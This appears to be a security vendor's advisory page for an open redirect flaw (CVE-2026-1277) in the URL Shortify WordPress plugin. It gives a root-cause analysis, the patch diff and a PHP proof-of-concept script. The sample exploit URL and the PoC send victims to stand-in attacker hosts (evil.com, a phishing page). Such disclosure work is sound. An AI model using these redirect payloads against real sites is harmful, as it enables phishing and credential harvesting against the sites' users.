Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1277: URL Shortify <= 1.12.1 – Unauthenticated Open Redirect via 'redirect_to' Parameter (url-shortify)

CVE ID CVE-2026-1277
Plugin url-shortify
Severity Medium (CVSS 4.7)
CWE 601
Vulnerable Version 1.12.1
Patched Version 1.12.2
Disclosed February 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1277:
The vulnerability is an unauthenticated open redirect in the URL Shortify WordPress plugin versions <=1.12.1. The flaw exists in the promotional dismissal handler, allowing attackers to redirect users to arbitrary external sites via a crafted 'redirect_to' parameter. This medium-severity vulnerability (CVSS 4.7) affects the core plugin functionality.

The root cause is insufficient validation of the 'redirect_to' parameter in the `handle_promotions` method within the `Promo` class. In the vulnerable code at url-shortify/lite/includes/Promo.php lines 62-71, the function extracts the `redirect_to` parameter from the GET request using `esc_url_raw()` but performs no validation on the destination URL before calling `wp_redirect()`. The `esc_url_raw()` function only sanitizes the URL format, not the destination's legitimacy, allowing any external URL to pass through.

Exploitation requires an attacker to craft a malicious link containing the vulnerable endpoint with a manipulated 'redirect_to' parameter. The attack targets the plugin's promotional dismissal functionality, typically accessed via admin-ajax.php or admin-post.php with specific action parameters. A sample exploit URL would be: `https://target.com/wp-admin/admin-post.php?action=us_dismiss_promo&option_name=some_promo&redirect_to=https://evil.com`. The attacker lures victims to click this link, resulting in an immediate redirect to the attacker-controlled domain.

The patch introduces two new methods in the Promo class: `get_valid_redirect_to()` and `is_valid_redirect_to()`. The fix replaces the direct `wp_redirect()` call with a conditional check that validates the redirect URL against a whitelist of allowed destinations. If the URL is not in the whitelist, the user is redirected to the plugin's pricing page via `wp_safe_redirect()`. The whitelist includes only internal plugin-related URLs such as pricing pages, landing pages, and the developer's official domains.

Successful exploitation allows attackers to redirect WordPress users to malicious websites under their control. This can facilitate phishing attacks, credential harvesting, or malware distribution by leveraging the trust associated with the legitimate WordPress site. The vulnerability requires user interaction (clicking a link) but no authentication, making it accessible to any external attacker.

Differential between vulnerable and patched code

Code Diff
--- a/url-shortify/lite/includes/Admin.php
+++ b/url-shortify/lite/includes/Admin.php
@@ -200,6 +200,7 @@
 				'usParams',
 				[
 					'ajaxurl' => admin_url( 'admin-ajax.php' ),
+					'security' => wp_create_nonce( KC_US_AJAX_SECURITY ),
 				]
 			);

@@ -224,6 +225,7 @@
 			'usParams',
 			[
 				'ajaxurl' => admin_url( 'admin-ajax.php' ),
+				'security' => wp_create_nonce( KC_US_AJAX_SECURITY ),
 			]
 		);

--- a/url-shortify/lite/includes/Admin/DB/DB.php
+++ b/url-shortify/lite/includes/Admin/DB/DB.php
@@ -82,6 +82,13 @@
 	public $links_tags;

 	/**
+	 * @var Object|Favorites_Links
+	 *
+	 * @since 1.12.2
+	 */
+	public $favorites_links;
+
+	/**
 	 * constructor.
 	 *
 	 * @since 1.0.0
@@ -98,5 +105,6 @@
 		$this->api_keys         = new API_Keys();
 		$this->tags             = new Tags();
 		$this->links_tags       = new Links_Tags();
+		$this->favorites_links  = new Favorites_Links();
 	}
 }
--- a/url-shortify/lite/includes/Admin/DB/Favorites_Links.php
+++ b/url-shortify/lite/includes/Admin/DB/Favorites_Links.php
@@ -0,0 +1,87 @@
+<?php
+
+namespace KaizenCodersURL_ShortifyAdminDB;
+
+use KaizenCodersURL_ShortifyHelper;
+
+class Favorites_Links extends Base_DB {
+	public function __construct() {
+		global $wpdb;
+		parent::__construct();
+
+		$this->table_name = $wpdb->prefix . 'kc_us_favorites_links';
+
+		$this->primary_key = 'id';
+	}
+
+	/**
+	 * Get columns and formats
+	 *
+	 * @since 1.12.2
+	 */
+	public function get_columns() {
+		return [
+			'id'         => '%d',
+			'link_id'    => '%d',
+			'user_id'    => '%d',
+			'created_at' => '%s',
+		];
+	}
+
+	/**
+	 * Get default column values
+	 *
+	 * @since 1.12.2
+	 */
+	public function get_column_defaults() {
+		return [
+			'link_id'    => null,
+			'user_id_id' => null,
+			'created_at' => Helper::get_current_date_time(),
+		];
+	}
+
+	/**
+	 * @param $user_id
+	 * @param $link_id
+	 *
+	 * @return bool|int|mysqli_result|null
+	 */
+	public function toggle_favorite( $user_id, $link_id ) {
+		global $wpdb;
+
+		$where = $wpdb->prepare( "user_id = %d AND link_id = %d", $user_id, $link_id );
+
+		// Check if it exists
+		$is_exists = $wpdb->get_var( "SELECT id FROM {$this->table_name} WHERE $where" );
+
+		if ( ! empty( $is_exists ) ) {
+			return $this->delete_by_condition( $where );
+		} else {
+			return $this->insert(
+				[
+					'user_id' => absint( $user_id ),
+					'link_id' => absint( $link_id ),
+				],
+			);
+		}
+	}
+
+	/**
+	 * Get User Favorites Links.
+	 *
+	 * @param $user_id
+	 *
+	 * @return array
+	 */
+	public function get_by_user_id( $user_id ) {
+		global $wpdb;
+
+		$where = $wpdb->prepare( "user_id = %d", absint( $user_id ) );
+
+		$results = $this->get_columns_by_condition( [ 'link_id' ], $where );
+
+		return wp_list_pluck( $results, 'link_id' );
+	}
+
+}
 No newline at end of file
--- a/url-shortify/lite/includes/Admin/Links_Table.php
+++ b/url-shortify/lite/includes/Admin/Links_Table.php
@@ -320,11 +320,29 @@
 		$url     = esc_url( $item['url'] );
 		$name    = stripslashes( $item['name'] );
 		$slug    = $item['slug'];
+		$star_html = '';
+
+		if ( US()->is_pro() ) {
+			$user_id = get_current_user_id();
+
+			$user_favorites = US()->db->favorites_links->get_by_user_id( $user_id );
+			$is_starred     = in_array( $link_id, $user_favorites );
+
+			$starred_class = $is_starred ? 'starred' : '';
+			$star_icon     = $is_starred ? '<span class="dashicons dashicons-star-filled"></span>' : '<span class="dashicons dashicons-star-empty"></span>';
+			$tooltip       = $is_starred ? __( 'Remove from Favorites', 'url-shortify' ) : __( 'Add to Favorites', 'url-shortify' );
+
+			$star_html = sprintf(
+				'<span class="us-star-toggle cursor-pointer mr-2 %s" data-id="%d" title="%s">%s</span>',
+				$starred_class, $link_id, $tooltip, $star_icon
+			);
+		}

 		$short_link = esc_attr( Helper::get_short_link( $slug, $item ) );

-		$title = sprintf( '<span class="flex w-full"><img class="h-6 w-6 mr-2" style="min-width: 1.5rem;" src="https://www.google.com/s2/favicons?domain=%s" title="%s"/><strong>%s</strong></span>',
-			$url, $url, $name );
+		// Injected $star_html as the first %s in the sprintf statement
+		$title = sprintf( '<span class="flex w-full">%s<img class="h-6 w-6 mr-2" style="min-width: 1.5rem;" src="https://www.google.com/s2/favicons?domain=%s" title="%s"/><strong>%s</strong></span>',
+			$star_html, $url, $url, $name );

 		$actions = [
 			'edit'   => sprintf( __( '<a href="%s" class="text-indigo-600">Edit</a>', 'url-shortify' ),
--- a/url-shortify/lite/includes/Install.php
+++ b/url-shortify/lite/includes/Install.php
@@ -95,6 +95,10 @@
 		'1.11.5' => [
 			'kc_us_update_1115_create_tags_tables',
 		],
+
+		'1.12.2' => [
+			'kc_us_update_1122_create_favorites_links_table',
+		]
 	];

 	/**
@@ -581,6 +585,7 @@
 		$tables .= self::get_191_schema( $collate );
 		$tables .= self::get_195_schema( $collate );
 		$tables .= self::get_1115_schema( $collate );
+		$tables .= self::get_1122_schema( $collate );

 		return $tables;
 	}
@@ -1005,4 +1010,25 @@
 			) $collate;
 		";
 	}
+
+	/**
+	 * Create User Favorites Links Table.
+	 *
+	 * @since 1.12.2
+	 */
+	public static function get_1122_schema( $collate = '' ) {
+		global $wpdb;
+		return "
+			CREATE TABLE `{$wpdb->prefix}kc_us_favorites_links` (
+				`id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
+				`user_id` bigint(20) unsigned NOT NULL,
+				`link_id` bigint(20) unsigned NOT NULL,
+				`created_at` datetime DEFAULT CURRENT_TIMESTAMP,
+				PRIMARY KEY  (id),
+				UNIQUE KEY user_link (user_id, link_id),
+				KEY user_id (user_id),
+				KEY link_id (link_id)
+			) $collate;
+		";
+	}
 }
--- a/url-shortify/lite/includes/Promo.php
+++ b/url-shortify/lite/includes/Promo.php
@@ -62,7 +62,11 @@
                 if ( in_array( $option_name, $valid_options ) ) {
                     if ( isset( $_GET['redirect_to'] ) && ! empty( $_GET['redirect_to'] ) ) {
                         $redirect_to = esc_url_raw( $_GET['redirect_to'] );
-                        wp_redirect( $redirect_to );
+                        if( $this->is_valid_redirect_to( $redirect_to ) ) {
+                            wp_redirect( $redirect_to );
+                        } else {
+                            wp_safe_redirect( US()->get_pricing_url() );
+                        }
                     } elseif ( 'lifetime' === sanitize_text_field( Helper::get_data( $_GET, 'billing_cycle', '' ) ) ) {
                         wp_safe_redirect( US()->get_pricing_url( 'lifetime' ) );
                     } elseif ( (boolean) Helper::get_data( $_GET, 'landing', false ) ) {
@@ -81,6 +85,39 @@
     }

     /**
+     * Get Valid Redirect To URLs.
+     *
+     * @return string[]
+     *
+     * @since 1.12.2
+     */
+    public function get_valid_redirect_to() {
+        return [
+                US()->get_pricing_url(),
+                US()->get_landing_page_url(),
+                'https://kaizencoders.com/url-shortify',
+                'https://kaizencoders.com',
+                'https://kaizencoders.com/magic-link',
+                'https://kaizencoders.com/logify',
+                'https://kaizencoders.com/update-urls',
+        ];
+    }
+
+    /**
+     * Is Valid Redirect To URL.
+     *
+     * @param string $url
+     *
+     * @return bool
+     *
+     * @since 1.12.2
+     */
+    public function is_valid_redirect_to( $url ) {
+        $valid_urls = $this->get_valid_redirect_to();
+        return in_array( $url, $valid_urls, true );
+    }
+
+    /**
      * Handle promotions activity.
      *
      * @since 1.5.12.2
--- a/url-shortify/lite/includes/Uninstall.php
+++ b/url-shortify/lite/includes/Uninstall.php
@@ -51,6 +51,8 @@
 			$wpdb->prefix . 'kc_us_domains',
 			$wpdb->prefix . 'kc_us_utm_presets',
 			$wpdb->prefix . 'kc_us_tracking_pixels',
+			$wpdb->prefix . 'kc_us_tags',
+			$wpdb->prefix . 'kc_us_favorites_links',
 		];

 		foreach ( $tables as $table ) {
--- a/url-shortify/lite/includes/Upgrade/update-functions.php
+++ b/url-shortify/lite/includes/Upgrade/update-functions.php
@@ -339,4 +339,9 @@
 /**************** 1.11.5 *******************/
 function kc_us_update_1115_create_tags_tables() {
 	Install::create_tables( '1.11.5' );
+}
+
+/**************** 1.12.2 *******************/
+function kc_us_update_1122_create_favorites_links_table() {
+	Install::create_tables( '1.12.2' );
 }
 No newline at end of file
--- a/url-shortify/url-shortify.php
+++ b/url-shortify/url-shortify.php
@@ -15,7 +15,7 @@
  * Plugin Name:       URL Shortify
  * Plugin URI:        https://kaizencoders.com/url-shortify
  * Description:       URL Shortify helps you beautify, manage, share & cloak any links on or off of your WordPress website. Create links that look how you want using your own domain name!
- * Version:           1.12.1
+ * Version:           1.12.2
  * Author:            KaizenCoders
  * Author URI:        https://kaizencoders.com/
  * Tested up to:      6.9
@@ -45,7 +45,7 @@
 	 * @since 1.0.0
 	 */
 	if ( ! defined( 'KC_US_PLUGIN_VERSION' ) ) {
-		define( 'KC_US_PLUGIN_VERSION', '1.12.1' );
+		define( 'KC_US_PLUGIN_VERSION', '1.12.2' );
 	}

 	/**
--- a/url-shortify/vendor/composer/installed.php
+++ b/url-shortify/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'kaizen-coders/url-shortify',
-        'pretty_version' => '1.12.1',
-        'version' => '1.12.1.0',
-        'reference' => '0e2bd359ee1ba31d7be0516ae9858f073a94e348',
+        'pretty_version' => '1.12.2',
+        'version' => '1.12.2.0',
+        'reference' => '9d5e414e56f9087e0f1c758955b50bcdfc2ffb7b',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -20,9 +20,9 @@
             'dev_requirement' => false,
         ),
         'kaizen-coders/url-shortify' => array(
-            'pretty_version' => '1.12.1',
-            'version' => '1.12.1.0',
-            'reference' => '0e2bd359ee1ba31d7be0516ae9858f073a94e348',
+            'pretty_version' => '1.12.2',
+            'version' => '1.12.2.0',
+            'reference' => '9d5e414e56f9087e0f1c758955b50bcdfc2ffb7b',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1277 - URL Shortify <= 1.12.1 - Unauthenticated Open Redirect via 'redirect_to' Parameter

<?php

$target_url = "https://vulnerable-wordpress-site.com"; // CHANGE THIS
$redirect_to = "https://evil-attacker-site.com/phishing-page"; // CHANGE THIS

// Build the exploit URL
// The vulnerability is in the promotional dismissal handler
// Common endpoints: admin-ajax.php or admin-post.php with action=us_dismiss_promo
$exploit_url = $target_url . "/wp-admin/admin-post.php";

// Parameters needed for the exploit
$params = [
    'action' => 'us_dismiss_promo',
    'option_name' => 'us_review_notice', // Example promo option name
    'redirect_to' => $redirect_to
];

// Build query string
$query_string = http_build_query($params);
$full_url = $exploit_url . '?' . $query_string;

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $full_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // Follow redirects to verify
curl_setopt($ch, CURLOPT_MAXREDIRS, 5);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Set headers to mimic a real browser request
$headers = [
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language: en-US,en;q=0.5',
    'Connection: close'
];
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$effective_url = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);

curl_close($ch);

// Check if redirect occurred
if (strpos($effective_url, $redirect_to) !== false) {
    echo "[+] VULNERABLE: Successfully redirected to attacker siten";
    echo "    Final URL: " . $effective_url . "n";
} else {
    echo "[-] NOT VULNERABLE or already patchedn";
    echo "    HTTP Code: " . $http_code . "n";
    echo "    Final URL: " . $effective_url . "n";
}

// Also test with admin-ajax.php endpoint
$ajax_url = $target_url . "/wp-admin/admin-ajax.php";
$ajax_full_url = $ajax_url . '?' . $query_string;

$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, $ajax_full_url);
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch2, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch2, CURLOPT_MAXREDIRS, 5);
curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch2, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch2, CURLOPT_HTTPHEADER, $headers);

$ajax_response = curl_exec($ch2);
$ajax_effective_url = curl_getinfo($ch2, CURLINFO_EFFECTIVE_URL);

curl_close($ch2);

if (strpos($ajax_effective_url, $redirect_to) !== false) {
    echo "[+] VULNERABLE via admin-ajax.php endpointn";
    echo "    Final URL: " . $ajax_effective_url . "n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School